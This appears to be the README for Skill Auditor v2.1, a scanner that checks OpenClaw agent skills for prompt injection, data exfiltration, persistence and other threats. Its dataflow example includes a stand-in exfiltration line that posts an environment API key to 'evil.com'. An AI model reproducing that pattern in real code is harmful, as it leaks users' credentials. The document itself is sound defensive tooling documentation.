skill-auditor

Skill Auditor v2.1

Enhanced security scanner that analyzes skills and provides comprehensive threat detection with advanced analysis capabilities.

After Installing

Run the setup wizard to configure optional features:

cd skills/skill-auditor
node scripts/setup.js

The wizard explains each feature, shows real test data, and lets you choose what to enable.

Quick Start

Scan a skill:

node skills/skill-auditor/scripts/scan-skill.js <skill-directory>

Audit all your installed skills:

node skills/skill-auditor/scripts/audit-installed.js

Setup Wizard (Recommended)

Run the interactive setup to configure optional features:

cd skills/skill-auditor
node scripts/setup.js

The wizard will:

1. Detect your OS (Windows, macOS, Linux)
2. Check Python availability (required for AST analysis)
3. Offer to install tree-sitter for dataflow analysis
4. Configure auto-scan on skill installation
5. Save preferences to ~/.openclaw/skill-auditor.json

Setup Commands

node scripts/setup.js           # Interactive setup wizard
node scripts/setup.js --status  # Show current configuration
node scripts/setup.js --enable-ast  # Just enable AST analysis

Audit All Installed Skills

Scan every skill in your OpenClaw installation at once:

node scripts/audit-installed.js

Options:

node scripts/audit-installed.js --severity critical  # Only critical issues
node scripts/audit-installed.js --json               # Save results to audit-results.json
node scripts/audit-installed.js --verbose            # Show top findings per skill

Output:

• Color-coded risk levels (🚨 CRITICAL, ⚠️ HIGH, 📋 MEDIUM, ✅ CLEAN)
• Summary stats (total scanned, by risk level)
• Detailed list of high-risk skills with capabilities

Cross-Platform Installation

Core Scanner (No Dependencies)

Works on all platforms with just Node.js (which OpenClaw already provides).

AST Analysis (Optional)

Requires Python 3.8+ and tree-sitter packages.

Platform	Python Install	Tree-sitter Install
Windows	Pre-installed or winget install Python.Python.3	pip install tree-sitter tree-sitter-python
macOS	Pre-installed or brew install python3	pip3 install tree-sitter tree-sitter-python
Linux	apt install python3-pip	pip3 install tree-sitter tree-sitter-python

Note: Tree-sitter has prebuilt wheels for all platforms — no C++ compiler needed!

Core Features (Always Available)

• Static Pattern Analysis — Regex-based detection of 40+ threat patterns
• Intent Matching — Contextual analysis against skill's stated purpose
• Accuracy Scoring — Rates how well behavior matches description (1-10)
• Risk Assessment — CLEAN / LOW / MEDIUM / HIGH / CRITICAL levels
• OpenClaw Specifics — Detects MEMORY.md, sessions tools, agent manipulation
• Remote Scanning — Works with GitHub URLs (via scan-url.js)
• Visual Reports — Human-readable threat summaries

Advanced Features (Optional)

1. Python AST Dataflow Analysis

Traces data from sources to sinks through code execution paths

npm install tree-sitter tree-sitter-python
node scripts/scan-skill.js <skill> --mode strict

What it detects:

• Environment variables → Network requests
• File reads → HTTP posts
• Memory file access → External APIs
• Cross-function data flows

Example:

# File 1: utils.py
def get_secrets(): return os.environ.get('API_KEY')

# File 2: main.py  
key = get_secrets()
requests.post('evil.com', data=key)  # ← Dataflow detected!

2. VirusTotal Binary Scanning

Scans executable files against 70+ antivirus engines

export VIRUSTOTAL_API_KEY="your-key-here"
node scripts/scan-skill.js <skill> --use-virustotal

Supported formats: .exe, .dll, .bin, .wasm, .jar, .apk, etc.

Output includes:

• Malware detection status
• Engine consensus (e.g., "3/70 engines flagged")
• Direct VirusTotal report links
• SHA256 hashes for verification

3. LLM Semantic Analysis

Uses AI to understand if detected behaviors match stated intent

# Requires OpenClaw gateway running
node scripts/scan-skill.js <skill> --use-llm

How it works:

1. Groups findings by category
2. Asks LLM: "Does this behavior match the skill's description?"
3. Adjusts severity based on semantic understanding
4. Provides confidence ratings

Example:

• Finding: "Accesses MEMORY.md"
• Skill says: "Optimizes agent memory usage"
• LLM verdict: "LEGITIMATE — directly supports stated purpose"
• Result: Severity downgraded, marked as expected

4. SARIF Output for CI/CD

GitHub Code Scanning compatible format

node scripts/scan-skill.js <skill> --format sarif --fail-on-findings

GitHub integration:

# .github/workflows/skill-scan.yml
- name: Scan Skills
  run: |
    node skill-auditor/scripts/scan-skill.js ./skills/new-skill \
      --format sarif --fail-on-findings > results.sarif
- name: Upload SARIF
  uses: github/codeql-action/upload-sarif@v2
  with:
    sarif_file: results.sarif

5. Detection Modes

Adjustable sensitivity levels

--mode strict      # All patterns, higher false positives
--mode balanced    # Default, optimized accuracy  
--mode permissive  # Only critical patterns

Usage Examples

Basic Scanning

# Scan local skill
node scripts/scan-skill.js ../my-skill

# Scan with JSON output
node scripts/scan-skill.js ../my-skill --json report.json

# Format visual report
node scripts/format-report.js report.json

Advanced Scanning

# Full analysis with all features
node scripts/scan-skill.js ../my-skill \
  --mode strict \
  --use-virustotal \
  --use-llm \
  --format sarif \
  --json full-report.sarif

# CI/CD integration
node scripts/scan-skill.js ../my-skill \
  --format sarif \
  --fail-on-findings \
  --mode balanced

Remote Scanning

# Scan GitHub skill without cloning
node scripts/scan-url.js "https://github.com/user/skill" --json remote-report.json
node scripts/format-report.js remote-report.json

Installation Options

Zero Dependencies (Recommended for CI)

# Works immediately — no installation needed
node skill-auditor/scripts/scan-skill.js <skill>

Optional Advanced Features

cd skills/skill-auditor

# Install all optional features
npm install

# Or install selectively:
npm install tree-sitter tree-sitter-python  # AST analysis
npm install yara                            # YARA rules (future)

# VirusTotal requires API key only:
export VIRUSTOTAL_API_KEY="your-key"

# LLM analysis requires OpenClaw gateway:
openclaw gateway start

What Gets Detected

Core Threat Categories

• Prompt Injection — AI instruction manipulation attempts
• Data Exfiltration — Unauthorized data transmission
• Sensitive File Access — MEMORY.md, credentials, SSH keys
• Shell Execution — Command injection, arbitrary code execution
• Path Traversal — Directory escape attacks
• Obfuscation — Hidden/encoded content
• Persistence — System modification for permanent access
• Privilege Escalation — Browser automation, device access

OpenClaw-Specific Patterns

• Memory File Writes — Persistence via MEMORY.md, AGENTS.md
• Session Tool Abuse — Data exfiltration via sessions_send
• Gateway Control — config.patch, restart commands
• Node Device Access — camera_snap, screen_record, location_get

Advanced Detection (with optional features)

• Python Dataflow — Variable tracking across functions/files
• Binary Malware — Known malicious executables via VirusTotal
• Semantic Intent — LLM-based behavior vs. description analysis

Output Formats

1. JSON (Default)

{
  "skill": { "name": "example", "description": "..." },
  "riskLevel": "HIGH", 
  "accuracyScore": { "score": 7, "reason": "..." },
  "findings": [...],
  "summary": { "analyzersUsed": ["static", "ast-python", "llm-semantic"] }
}

2. SARIF (GitHub Code Scanning)

--format sarif

Uploads to GitHub Security tab, integrates with pull request checks.

3. Visual Report

node scripts/format-report.js report.json

Human-readable summary with threat gauge and actionable findings.

Configuration

Environment Variables

VIRUSTOTAL_API_KEY="vt-key"     # VirusTotal integration
DEBUG="1"                       # Verbose error output

Command Line Options

--json <file>         # JSON output file
--format sarif        # SARIF output for GitHub
--mode <mode>         # strict|balanced|permissive  
--use-virustotal     # Enable binary scanning
--use-llm           # Enable semantic analysis
--custom-rules <dir> # Additional YARA rules
--fail-on-findings  # Exit code 1 for HIGH/CRITICAL
--help              # Show all options

Architecture Overview

skill-auditor/
├── scripts/
│   ├── scan-skill.js         # Main scanner (v2.0)
│   ├── scan-url.js           # Remote GitHub scanning  
│   ├── format-report.js      # Visual report formatter
│   ├── analyzers/            # Pluggable analysis engines
│   │   ├── static.js         # Core regex patterns (zero-dep)
│   │   ├── ast-python.js     # Python dataflow analysis
│   │   ├── virustotal.js     # Binary malware scanning
│   │   └── llm-semantic.js   # AI-powered intent analysis
│   └── utils/
│       └── sarif.js          # GitHub Code Scanning output
├── rules/
│   └── default.yar           # YARA format patterns
├── package.json              # Optional dependencies
└── references/              # Documentation (unchanged)

Backward Compatibility

v1.x commands work unchanged:

node scan-skill.js <skill-dir>                    # ✅ Works
node scan-skill.js <skill-dir> --json out.json    # ✅ Works  
node format-report.js out.json 

---

*Content truncated.*